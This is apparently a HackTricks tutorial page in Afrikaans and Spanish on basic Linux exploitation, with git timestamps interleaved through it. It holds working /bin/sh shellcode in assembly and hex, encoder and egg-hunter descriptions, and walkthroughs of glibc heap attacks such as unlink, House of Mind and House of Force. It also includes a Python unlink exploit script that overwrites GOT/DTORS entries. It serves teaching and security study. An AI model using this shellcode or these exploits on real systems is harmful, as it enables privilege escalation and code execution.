hacktricks/exploiting/linux-exploiting-basic-esp/README.md

559 lines
33 KiB
Markdown
Raw Normal View History

# Linux Exploiting (Basic) (SPA)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Ondersteun HackTricks</summary>
2023-12-30 10:12:47 +00:00
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-01 13:25:53 +00:00
## **2.SHELLCODE**
Ver onderbrekings van die kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
2022-02-28 09:13:08 +00:00
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
2022-02-28 09:13:08 +00:00
exit(0); // \_\_NR\_exit 1
xor eax, eax ; skoonmaak eax\
xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra\
2022-02-28 09:13:08 +00:00
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
2024-02-11 02:07:06 +00:00
int 0x80 ; Voer syscall uit
**nasm -f elf assembly.asm** —> Dit gee ons 'n .o\
**ld assembly.o -o shellcodeout** —> Dit gee ons 'n uitvoerbare vorm van die assemblerkode en ons kan die opcodes met **objdump** kry\
2024-02-11 02:07:06 +00:00
**objdump -d -Mintel ./shellcodeout** —> Om te sien dat dit werklik ons shellcode is en om die OpCodes te kry
**Kontroleer dat die shellcode werk**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
2024-02-11 02:07:06 +00:00
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Om te sien dat die stelsels oproepe korrek uitgevoer word, moet die vorige program gekompileer word en die stelsels oproepe moet verskyn in **strace ./PROGRAMA\_COMPILADO**
Wanneer shellcodes geskep word, kan 'n truuk gedoen word. Die eerste instruksie is 'n jump na 'n call. Die call roep die oorspronklike kode aan en plaas ook die EIP op die stack. Na die call instruksie het ons die string wat ons benodig, ingevoeg, sodat ons met daardie EIP na die string kan verwys en ook die kode kan voortgaan uitvoer.
EJ **TRUCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
2024-02-11 02:07:06 +00:00
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ met die Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Egg Huter:**
Bestaan uit 'n klein kode wat die geheuebladsye wat aan 'n proses gekoppel is, deursoek op soek na die shellcode wat daar gestoor is (soek 'n handtekening wat in die shellcode geplaas is). Nuttig in gevalle waar daar slegs 'n klein ruimte is om kode in te spuit.
**Shellcodes polimórfies**
Bestaan uit gesleutelde shells wat 'n klein kode het wat hulle ontsleutel en na hulle spring, met die Call-Pop truuk, dit sou 'n **cesar gesleutelde voorbeeld** wees:
```
global _start
_start:
2024-02-11 02:07:06 +00:00
jmp short magic
init:
2024-02-11 02:07:06 +00:00
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
2024-02-11 02:07:06 +00:00
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
2024-02-11 02:07:06 +00:00
call init
sc:
2024-02-11 02:07:06 +00:00
;Aquí va el shellcode
```
## **5.Aanvullende Metodes**
**Murat Tegniek**
In linux word alle programme gemap vanaf 0xbfffffff
2021-03-22 00:35:56 +00:00
Deur te kyk hoe die stapel van 'n nuwe proses in linux gebou word, kan 'n exploit ontwikkel word sodat die program in 'n omgewing begin word waarvan die enigste veranderlike die shellcode is. Die adres hiervan kan dan bereken word as: addr = 0xbfffffff - 4 - strlen(NAME\_complete\_executable) - strlen(shellcode)
2021-03-22 11:21:45 +00:00
Op hierdie manier kan die adres waar die omgewing veranderlike met die shellcode is, eenvoudig verkry word.
2021-03-22 11:21:45 +00:00
Dit kan gedoen word omdat die funksie execle 'n omgewing toelaat wat slegs die gewenste omgewing veranderlikes bevat.
2021-03-22 11:21:45 +00:00
### **Formaat Strings na Buffer Oorloop**
Die **sprintf beweeg** 'n geformateerde string **na** 'n **veranderlike.** Daarom kan jy die **formatering** van 'n string misbruik om 'n **buffer oorloop in die veranderlike** waar die inhoud na gekopieer word, te veroorsaak.\
Byvoorbeeld, die payload `%.44xAAAA` sal **44B+"AAAA" in die veranderlike skryf**, wat 'n buffer oorloop kan veroorsaak.
### **\_\_atexit Strukture**
{% hint style="danger" %}
Tans is dit baie **vreemd om dit te exploiteer**.
{% endhint %}
**`atexit()`** is 'n funksie waaraan **ander funksies as parameters oorgedra word.** Hierdie **funksies** sal **uitgevoer** word wanneer 'n **`exit()`** of die **terugkeer** van die **hoof** uitgevoer word.\
As jy die **adres** van enige van hierdie **funksies** kan **wysig** om na 'n shellcode te verwys, sal jy **beheer** oor die **proses** verkry, maar dit is tans meer ingewikkeld.\
Tans is die **adresse na die funksies** wat uitgevoer moet word, **versteek** agter verskeie strukture en uiteindelik is die adres waarnatoe dit verwys nie die adresse van die funksies nie, maar is **geënkripteer met XOR** en verskuiwings met 'n **willekeurige sleutel**. So tans is hierdie aanvalsvector **nie baie nuttig nie, ten minste op x86** en **x64\_86**.\
Die **enkripsiefunksie** is **`PTR_MANGLE`**. **Ander argitekture** soos m68k, mips32, mips64, aarch64, arm, hppa... **implementeer nie die enkripsie** funksie nie omdat dit **die selfde** teruggee as wat dit as invoer ontvang. So hierdie argitekture kan deur hierdie vektor aangeval word.
2022-05-01 13:25:53 +00:00
### **setjmp() & longjmp()**
{% hint style="danger" %}
Tans is dit baie **vreemd om dit te exploiteer**.
{% endhint %}
**`Setjmp()`** laat toe om die **konteks** (die registers) te **stoor**\
**`longjmp()`** laat toe om die **konteks** te **herstel**.\
2024-02-11 02:07:06 +00:00
Die **gestoorde registers** is: `EBX, ESI, EDI, ESP, EIP, EBP`\
Wat gebeur is dat EIP en ESP deur die **`PTR_MANGLE`** funksie oorgedra word, so die **argitekture wat kwesbaar is vir hierdie aanval is dieselfde as hierbo**.\
2024-02-11 02:07:06 +00:00
Hulle is nuttig vir foutherstel of onderbrekings.\
E however, volgens wat ek gelees het, is die ander registers nie beskerm nie, **so as daar 'n `call ebx`, `call esi` of `call edi`** binne die funksie wat aangeroep word, kan beheer oorgeneem word. Of jy kan ook EBP wysig om die ESP te wysig.
2024-02-11 02:07:06 +00:00
**VTable en VPTR in C++**
Elke klas het 'n **Vtable** wat 'n array van **pointers na metodes** is.
Elke objek van 'n **klas** het 'n **VPtr** wat 'n **pointer** na die array van sy klas is. Die VPtr is deel van die kop van elke objek, so as 'n **oorskrywing** van die **VPtr** bereik word, kan dit **gewysig** word om na 'n dummy metode te **wys** sodat die uitvoering van 'n funksie na die shellcode sal gaan.
## **Preventiewe Maatreëls en Ontduikings**
2024-02-11 02:07:06 +00:00
**Vervanging van Libsafe**
Word geaktiveer met: LD\_PRELOAD=/lib/libsafe.so.2\
2024-02-11 02:07:06 +00:00
of\
“/lib/libsave.so.2” > /etc/ld.so.preload
Dit onderskep oproepe na sommige onveilige funksies deur ander veilige. Dit is nie gestandaardiseer nie. (slegs vir x86, nie vir kompilasies met -fomit-frame-pointer, nie statiese kompilasies nie, nie alle kwesbare funksies word veilig nie en LD\_PRELOAD werk nie in binêre met suid).
**ASCII Bewapende Adres Ruimte**
Dit bestaan uit die laai van die gedeelde biblioteke van 0x00000000 tot 0x00ffffff sodat daar altyd 'n byte 0x00 is. Dit stop egter regtig min aanvalle, en nog minder in little endian.
**ret2plt**
Dit bestaan uit die uitvoering van 'n ROP sodat die funksie strcpy@plt (van die plt) aangeroep word en na die ingang van die GOT gewys word en die eerste byte van die funksie wat aangeroep moet word (system()). Daarna word dieselfde gedoen deur na GOT+1 te wys en die 2de byte van system() te kopieer… Uiteindelik word die adres wat in GOT gestoor is, aangeroep wat system() sal wees.
**Hokke met chroot()**
debootstrap -arch=i386 hardy /home/user —> Installeer 'n basiese stelsel onder 'n spesifieke subgids
'n Admin kan uit een van hierdie hokke ontsnap deur: mkdir foo; chroot foo; cd ..
**Kodesinstrumentering**
Valgrind —> Soek foute\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Oorloop: Basiese Exploits**
**Gekose stuk**
prev\_size |\
size | —Kop\
2024-02-11 02:07:06 +00:00
\*mem | Data
**Vrye stuk**
prev\_size |\
size |\
\*fd | Ptr vorentoe stuk\
\*bk | Ptr agterstuk —Kop\
2024-02-11 02:07:06 +00:00
\*mem | Data
Die vrye stukke is in 'n dubbelgekoppelde lys (bin) en daar kan nooit twee vrye stukke langs mekaar wees nie (hulle word saamgevoeg).
In “size” is daar bits om aan te dui: Of die vorige stuk in gebruik is, of die stuk deur mmap() toegeken is en of die stuk aan die primêre arena behoort.
As 'n stuk vrygestel word en enige van die aangrensende vry is, word hulle saamgevoeg deur die makro unlink() en die nuwe groter stuk word aan frontlink() oorgedra sodat dit die toepaslike bin kan invoeg.
unlink(){\
BK = P->bk; —> Die BK van die nuwe stuk is die een wat die een wat al vry was, gehad het\
FD = P->fd; —> Die FD van die nuwe stuk is die een wat die een wat al vry was, gehad het\
FD->bk = BK; —> Die BK van die volgende stuk wys na die nuwe stuk\
BK->fd = FD; —> Die FD van die vorige stuk wys na die nuwe stuk\
}
Daarom, as ons daarin slaag om die P->bk met die adres van 'n shellcode en die P->fd met die adres na 'n ingang in die GOT of DTORS minus 12 te wysig, word dit bereik:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
En so word die shellcode uitgevoer wanneer die program verlaat.
Boonop skryf die 4de stelling van unlink() iets en die shellcode moet hiervoor herstel word:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Dit veroorsaak die skrywe van 4 bytes vanaf die 8ste byte van die shellcode, so die eerste instruksie van die shellcode moet 'n jmp wees om dit te spring en in 'n paar nops te val wat na die res van die shellcode lei.
Daarom word die exploit geskep:
In die buffer1 plaas ons die shellcode wat begin met 'n jmp sodat dit in die nops of in die res van die shellcode val.
Na die shellcode plaas ons opvulling totdat ons by die prev\_size en size veld van die volgende stuk kom. In hierdie plekke plaas ons 0xfffffff0 (sodat die prev\_size oorgeskryf word om die bit wat sê dat dit vry is, te hê) en “-4“(0xfffffffc) in die size (sodat wanneer dit in die 3de stuk nagaan of die 2de werklik vry was, dit na die gewysigde prev\_size gaan wat sal sê dat dit vry is) -> So wanneer free() ondersoek, sal dit na die size van die 3de gaan, maar werklik na die 2de - 4 en sal dink dat die 2de stuk vry is. En dan sal dit **unlink()** aanroep.
Wanneer unlink() aangeroep word, sal dit as P->fd die eerste data van die 2de stuk gebruik, sodat daar die adres wat oorgeskryf moet word - 12 (want in FD->bk sal dit 12 by die adres wat in FD gestoor is, optel). En in daardie adres sal dit die tweede adres wat in die 2de stuk gevind word, invoeg, wat ons sal belangrik wees dat dit die adres na die shellcode is (P->bk vals).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes van opvulling**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Dit is belangrik dat die bit wat aandui dat die vorige stuk vry is, op 1 is**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, sodat dit dink dat die “size” van die 3de stuk 4bytes agter is (wys na prev\_size) want dit is daar waar dit kyk of die 2de stuk vry is**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #In die payload sal ons aan die begin 8bytes opvulling plaas**
**got\_free = pack("\<I", 0x08048300 - 12) #Adres van free() in die plt-12 (sal die adres wees wat oorgeskryf word sodat die shellcode die 2de keer wat free aangeroep word, gelanseer word)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Soos gesê begin die payload met 8 bytes opvulling omdat dit is**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Die 2de stuk word gewysig, die got\_free wys na waar ons die adres addr\_sc + 12 gaan stoor**
**os.system("./8.3.o " + payload)**
**unset() vrylatend in omgekeerde volgorde (wargame)**
Ons beheer 3 opeenvolgende stukke en hulle word in omgekeerde volgorde vrygestel.
In daardie geval:
In die stuk c plaas ons die shellcode
Die stuk a gebruik ons om die b te oorskry sodat die size die bit PREV\_INUSE deaktiveer, sodat dit dink dat die stuk a vry is.
Boonop word die size in die kop b oorgeskryf sodat dit -4 is.
Dan sal die program dink dat “a” vry is en in 'n bin, sodat dit unlink() sal aanroep om dit te ontkoppel. Maar, aangesien die kop PREV\_SIZE -4 is, sal dit dink dat die stuk van “a” werklik begin in b+4. Dit wil sê, dit sal 'n unlink() na 'n stuk wat begin in b+4, so in b+12 sal die pointer “fd” wees en in b+16 sal die pointer “bk” wees.
So, as ons in bk die adres na die shellcode plaas en in fd die adres na die funksie “puts()”-12, het ons ons payload.
**Frontlink Tegniek**
Dit word frontlink genoem wanneer iets vrygestel word en geen van sy aangrensende stukke vry is nie, word unlink() nie aangeroep nie, maar word direk frontlink() aangeroep.
Nuttige kwesbaarheid wanneer die malloc wat aangeval word, nooit vrygestel word (free()).
Dit benodig:
'n buffer wat oorloop kan word met die invoerfunksie
'n buffer wat aan hierdie buffer grens wat vrygestel moet word en waarvan die fd veld van sy kop gewysig sal word danksy die oorloop van die vorige buffer
'n buffer om vry te stel met 'n grootte groter as 512 maar kleiner as die vorige buffer
'n buffer wat voor stap 3 verklaar is wat toelaat om die prev\_size van hierdie te oorskry
Op hierdie manier, deur in twee mallocs ongekontroleerd te oorskry en in een op 'n beheerde manier, maar slegs daardie een vry te stel, kan ons 'n exploit maak.
**Double free() kwesbaarheid**
As free() twee keer met dieselfde pointer aangeroep word, bly daar twee bins wat na dieselfde adres wys.
In die geval dat een weer gebruik moet word, sal dit sonder probleme toegeken word. In die geval dat 'n ander gebruik moet word, sal dit dieselfde ruimte toegeken word, sodat ons die pointers “fd” en “bk” vals sal hê met die data wat die vorige reservasie sal skryf.
**After free()**
'n Pointer wat voorheen vrygestel is, word weer sonder beheer gebruik.
## **8 Heap Oorloop: Gevorderde Exploits**
Die tegnieke van Unlink() en FrontLink() is verwyder deur die unlink() funksie te wysig.
2022-04-28 23:27:22 +00:00
**The house of mind**
Slegs een oproep na free() is nodig om die uitvoering van arbitrêre kode te veroorsaak. Dit is belangrik om 'n tweede stuk te soek wat deur 'n vorige oorloop vrygestel kan word.
'n oproep na free() veroorsaak dat public\_fREe(mem) aangeroep word, dit doen:
2022-02-28 09:13:08 +00:00
mstate ar\_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Gee 'n pointer na die adres waar die stuk begin (mem-8)
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
2022-02-28 09:13:08 +00:00
\_int\_free(ar\_ptr, mem);
}
In \[1] kyk dit na die size veld die bit NON\_MAIN\_ARENA, wat verander kan word sodat die kontrole terugkeer waar dit waar is en heap\_for\_ptr() aanroep wat 'n and op “mem” doen wat die 2.5 minder belangrike bytes op 0 laat (in ons geval van 0x0804a000 laat dit 0x08000000) en toegang tot 0x08000000->ar\_ptr verkry (soos 'n struct heap\_info).
Op hierdie manier, as ons 'n stuk kan beheer byvoorbeeld in 0x0804a000 en daar gaan 'n stuk vrygestel word in **0x081002a0**, kan ons by die adres 0x08100000 kom en skryf wat ons wil, byvoorbeeld **0x0804a000**. Wanneer hierdie tweede stuk vrygestel word, sal dit vind dat heap\_for\_ptr(ptr)->ar\_ptr die waarde teruggee wat ons in 0x08100000 geskryf het (want die and wat ons vroeër gesien het, word op 0x081002a0 toegepas en daaruit word die waarde van die eerste 4 bytes, die ar\_ptr, geneem).
Op hierdie manier word \_int\_free(ar\_ptr, mem) aangeroep, dit wil sê, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
2022-02-28 09:13:08 +00:00
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Soos ons voorheen gesien het, kan ons die waarde van av beheer, want dit is wat ons in die stuk wat vrygestel gaan word, geskryf het.
Soos gedefinieer in unsorted\_chunks, weet ons dat:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Daarom, as ons in av->bins\[2] die waarde van \_\_DTOR\_END\_\_-12 skryf, sal die laaste instruksie in \_\_DTOR\_END\_\_ die adres van die tweede stuk skryf.
Dit wil sê, in die eerste stuk moet ons aan die begin baie keer die adres van \_\_DTOR\_END\_\_-12 plaas, want daaruit sal av->bins\[2] dit neem.
In die adres waar die adres van die tweede stuk met die laaste 5 nulles val, moet ons die adres na hierdie eerste stuk skryf sodat heap\_for\_ptr() dink dat die ar\_ptr aan die begin van die eerste stuk is en daaruit die av->bins\[2] sal neem.
In die tweede stuk en danksy die eerste oorskry ons die prev\_size met 'n jump 0x0c en die size met iets om -> NON\_MAIN\_ARENA te aktiveer.
Daarna plaas ons 'n hoop nops in stuk 2 en uiteindelik die shellcode.
Op hierdie manier sal \_int\_free(TROZO1, TROZO2) aangeroep word en die instruksies volg om in \_\_DTOR\_END\_\_ die adres van die prev\_size van TROZO2 te skryf wat na die shellcode sal spring.
Om hierdie tegniek toe te pas, is dit nodig dat daar 'n paar vereistes nagekom word wat die payload 'n bietjie meer kompliseer.
Hierdie tegniek is nie meer toepaslik nie, aangesien 'n soortgelyke herstel toegepas is soos vir unlink. Dit word vergelyk of die nuwe plek waarnatoe gewys word, ook na homself wys.
**Fastbin**
Dit is 'n variant van The house of mind.
Dit is belangrik om die volgende kode uit te voer wat bereik word na die eerste kontrole van die funksie \_int\_free():
2024-02-11 02:07:06 +00:00
fb = &(av->fastbins\[fastbin\_index(size)] —> Waar fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Op hierdie manier, as ons in “fb” die adres van 'n funksie in die GOT plaas, sal daar in hierdie adres die adres na die oorgeskrywe stuk geplaas word. Hiervoor sal dit nodig wees dat die arena naby die adresse van dtors is. Meer presies dat av->max\_fast in die adres is wat ons gaan oorskryf.
Aangesien ons met The House of Mind gesien het dat ons die posisie van die av beheer.
As ons dan in die size veld 'n grootte van 8 + NON\_MAIN\_ARENA + PREV\_INUSE plaas —> fastbin\_index() sal ons fastbins\[-1] teruggee, wat na av->max\_fast sal wys.
In hierdie geval sal av->max\_fast die adres wees wat oorgeskryf sal word (nie na waar dit wys nie, maar daardie posisie sal oorgeskryf word).
Boonop moet daar aan voldoen dat die stuk wat aan die vrygestelde groter as 8 moet wees -> Aangesien ons gesê het dat die size van die vrygestelde stuk 8 is, moet ons in hierdie vals stuk net 'n size groter as 8 plaas (soos die shellcode in die vrygestelde stuk sal wees, sal daar aan die begin 'n jmp wees wat in nops val).
Boonop moet daardie selfde vals stuk kleiner wees as av->system\_mem. av->system\_mem is 1848 bytes verder.
As gevolg van die nulles van \_DTOR\_END\_ en die min adresse in die GOT, is geen adres van hierdie afdelings geskik om oorgeskryf te word nie, so kom ons kyk hoe om fastbin toe te pas om die stapel aan te val.
'n Ander manier van aanval is om die **av** na die stapel te herlei.
As ons die size wysig sodat dit 16 in plaas van 8 is, sal fastbin\_index() ons fastbins\[0] teruggee en kan ons dit gebruik om die stapel te oorskryf.
Hiervoor mag daar geen canary of vreemde waardes in die stapel wees nie, in werklikheid moet ons in hierdie wees: 4 null bytes + EBP + RET.
Die 4 null bytes is nodig sodat die **av** aan hierdie adres sal wees en die eerste element van 'n **av** is die mutexe wat 0 moet wees.
Die **av->max\_fast** sal die EBP wees en sal 'n waarde wees wat ons sal help om die beperkings te oorkom.
In die **av->fastbins\[0]** sal dit met die adres van **p** oorgeskryf word en sal die RET wees, sodat dit na die shellcode sal spring.
Boonop, in **av->system\_mem** (1484bytes bo die posisie in die stapel) sal daar genoeg rommel wees wat ons sal toelaat om die kontrole wat gedoen word, te oorkom.
Boonop moet daar aan voldoen dat die stuk wat aan die vrygestelde groter as 8 moet wees -> Aangesien ons gesê het dat die size van die vrygestelde stuk 16 is, moet ons in hierdie vals stuk net 'n size groter as 8 plaas (soos die shellcode in die vrygestelde stuk sal wees, sal daar aan die begin 'n jmp wees wat in nops val wat na die size veld van die nuwe vals stuk gaan).
**The House of Spirit**
In hierdie geval soek ons 'n pointer na 'n malloc wat deur die aanvaller gewysig kan word (byvoorbeeld, dat die pointer onder 'n moontlike oorloop na 'n veranderlike op die stapel is).
So kan ons maak dat hierdie pointer na enige plek wys. Maar nie enige plek is geldig nie, die grootte van die vals stuk moet kleiner wees as av->max\_fast en meer spesifiek gelyk aan die grootte wat in 'n toekomstige oproep na malloc()+8 aangevra word. Daarom, as ons weet dat na hierdie kwesbare pointer malloc(40) aangeroep word, moet die grootte van die vals stuk gelyk wees aan 48.
As die program byvoorbeeld die gebruiker om 'n nommer vra, kan ons 48 invoer en die veranderlike pointer na die volgende 4bytes (wat dalk aan die EBP behoort, met geluk, so die 48 agterbly, soos die kop grootte). Boonop moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval ptr=EBP), dit wil sê, 8 < ptr-4+48 < av->system\_mem.
As dit nagekom word, wanneer die volgende malloc wat ons gesê het malloc(40) is, sal dit as adres die adres van die EBP toegeken word. As die aanvaller ook kan beheer wat in hierdie malloc geskryf word, kan hy sowel die EBP as die EIP met die adres wat hy wil, oorskryf.
Ek glo dit is omdat wanneer dit vrygestel word, free() sal onthou dat daar in die adres wat na die EBP van die stapel wys, 'n stuk van die perfekte grootte vir die nuwe malloc() wat gereserveer wil word, is, so dit ken daardie adres toe.
**The House of Force**
2024-02-11 02:07:06 +00:00
Dit is nodig:
* 'n oorloop na 'n stuk wat die wilderness kan oorskryf
* 'n oproep na malloc() met die grootte wat deur die gebruiker gedefinieer is
* 'n oproep na malloc() waarvan die data deur die gebruiker gedefinieer kan word
Die eerste stap is om die size van die wilderness stuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige aanvraag van genoegsame groot geheue in \_int\_malloc() behandel sal word sonder om die heap uit te brei.
Die tweede stap is om die av->top te verander sodat dit na 'n geheuegebied onder die beheer van die aanvaller wys, soos die stapel. In av->top sal \&EIP - 8 geplaas word.
Ons moet av->top oorskryf sodat dit na die geheuegebied onder die beheer van die aanvaller wys:
victim = av->top;
2022-02-28 09:13:08 +00:00
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim neem die waarde van die adres van die huidige wilderness stuk (die huidige av->top) en remainder is presies die som van daardie adres plus die hoeveelheid bytes wat deur malloc() aangevra is. So as \&EIP-8 in 0xbffff224 is en av->top 0x080c2788 bevat, sal die hoeveelheid wat ons in die beheerde malloc moet reserveer sodat av->top na $EIP-8 wys vir die volgende malloc() wees:
0xbffff224 - 0x080c2788 = 3086207644.
So sal die veranderde waarde in av->top gestoor word en die volgende malloc sal na die EIP wys en dit kan oorskryf.
Dit is belangrik om te weet dat die size van die nuwe wilderness stuk groter moet wees as die aanvraag wat deur die laaste malloc gemaak is. Dit wil sê, as die wilderness na \&EIP-8 wys, sal die size presies in die EBP veld van die stapel wees.
**The House of Lore**
**Klein Bin Korruptie**
Die vrygestelde stukke word in die bin ingevoer op grond van hul grootte. Maar voordat hulle ingevoer word, word hulle in onsorted bins gestoor. 'n Stuk wat vrygestel word, word nie onmiddellik in sy bin geplaas nie, maar bly in onsorted bins. Daarna, as 'n nuwe stuk gereserveer word en die vorige vrygestelde dit kan dien, word dit teruggegee, maar as 'n groter gereserveer word, word die vrygestelde stuk in onsorted bins in sy toepaslike bin geplaas.
Om die kwesbare kode te bereik, moet die geheue aanvraag groter wees as av->max\_fast (72 normaalweg) en minder as MIN\_LARGE\_SIZE (512).
As daar in die bins 'n stuk van die toepaslike grootte is wat aangevra word, word dit teruggegee nadat dit ontkoppel is:
bck = victim->bk; Wys na die vorige stuk, dit is die enigste info wat ons kan verander.
bin->bk = bck; Die voorlaaste stuk word die laaste, in die geval dat bck na die stapel wys, sal die volgende gereserveerde stuk hierdie adres ontvang.
bck->fd = bin; Die lys word gesluit sodat dit na bin wys.
Dit is nodig:
Dat daar twee mallocs gereserveer word, sodat die eerste oorloop kan word nadat die tweede vrygestel is en in sy bin ingevoer is (dit wil sê, 'n groter malloc gereserveer is voordat die oorloop gemaak word).
Dat die malloc wat gereserveer word, die adres wat deur die aanvaller gekies is, deur die aanvaller beheer kan word.
Die doel is die volgende, as ons 'n oorloop na 'n heap kan maak wat onder 'n reeds vrygestelde stuk en in sy bin is, kan ons sy pointer bk verander. As ons sy pointer bk verander en hierdie stuk die eerste van die bin word en gereserveer word, sal bin mislei word en gesê word dat die laaste stuk van die lys (die volgende wat aangebied word) in die vals adres wat ons geplaas het (na die stapel of GOT byvoorbeeld) is. So as daar weer 'n ander stuk gereserveer word en die aanvaller toestemming het, sal 'n stuk in die gewenste posisie gegee word en kan daar in geskryf word.
Na die vrystelling van die gewysigde stuk is dit nodig om 'n stuk groter as die vrygestelde te reserveer, sodat die gewysigde stuk uit onsorted bins sal kom en in sy bin ingevoer sal word.
Sodra dit in sy bin is, is dit tyd om sy pointer bk te verander deur die oorloop sodat dit na die adres wat ons wil oorskryf, wys.
So sal die bin moet wag totdat daar genoeg malloc() aanroep is sodat die gewysigde bin weer gebruik word en bin mislei word om te glo dat die volgende stuk in die vals adres is. En dan sal die stuk wat ons belangstel, gegee word.
Om die kwesbaarheid so vroeg as moontlik uit te voer, is dit ideaal: Reservasie van die kwesbare stuk, reservasie van die stuk wat gewysig sal word, vrystelling van hierdie stuk, reservasie van 'n groter stuk wat gewysig sal word, wysiging van die stuk (kwesbaarheid), reservasie van 'n stuk van gelyke grootte as die gewysigde en 'n tweede stuk van gelyke grootte wat na die gekose adres sal wys.
Om hierdie aanval te beskerm, is die tipiese kontrole gebruik dat die stuk “nie” vals is nie: dit word nagegaan of bck->fd na victim wys. Dit wil sê, in ons geval of die pointer fd\* van die vals stuk wat in die stapel gewys is, na victim wys. Om hierdie beskerming te oorkom, moet die aanvaller in staat wees om op een of ander manier (waarskynlik deur die stapel) in die toepaslike adres die adres van victim te skryf. Sodat dit soos 'n werklike stuk lyk.
**Groot Bin Korruptie**
Die selfde vereistes as voorheen is nodig en nog 'n paar, boonop moet die gereserveerde stukke groter as 512 wees.
Die aanval is soos die vorige, dit wil sê, die pointer bk moet gewysig word en al daardie aanroepe na malloc() is nodig, maar boonop moet die size van die gewysigde stuk so gewysig word dat daardie size - nb < MINSIZE.
